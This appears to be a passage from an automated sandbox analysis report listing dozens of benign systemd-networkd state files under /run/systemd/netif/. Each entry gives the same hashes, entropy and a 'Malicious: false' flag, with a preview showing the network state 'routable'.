Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateM1W0Vy

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateMSaY4G

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateMudiud

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateN7VVQc

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateNIdLXt

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateO1kFgK

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateOEeFWe

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateOYNUG4

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateQX8Bp6

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateQmQN2n

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateRB7JUu

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateRkLTjC

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateSOGHkm

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateSxXJ3a

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateTseXmt

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateUFiJfz

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateUYbtrD

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateVXJcO4

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateWiArKg

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateXa1790

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateXbhLMU

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateZ2IvCb

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateZt45jU

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statea87MCE

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateaMBKNe

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateagPVra

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statebJgCB9

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stated44iGZ

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statedQ39d8

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statefRBbEI

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statehGexze

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statehf4Xiz

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#stateiFQj4E

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statej9pMC6

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statek2iHT0

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statek6n33g

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statekZOdTl

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statekc2O0i

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statelcjsA4

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMsm2KRuA:SbFuFyLc31
MD5:	4F528B08E2A323EC98DEA5A5A570396D
SHA1:	CC44D197D1B0A59E66F502524B0CFCF92A51F04F
SHA-256:	5420F189DFBA6879C888D870595AF0059E15D5D5FEA06A104EC34F01796BB091
SHA-512:	BB2FFC8CB720074FCDC781267DD2D36E37114F9187C30993128CF89EC4F96E0F0943F1C87C401DE511177AB3C4737472BB868560528A9946B7C7243159211620
Malicious:	false
Preview:	# This is private data. Do not parse..OPER_STATE=routable.

/run/systemd/netif/.#statem2wIJR

Download File

Process:	/lib/systemd/systemd-networkd
File Type:	ASCII text
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.551249099578937
Encrypted:	false
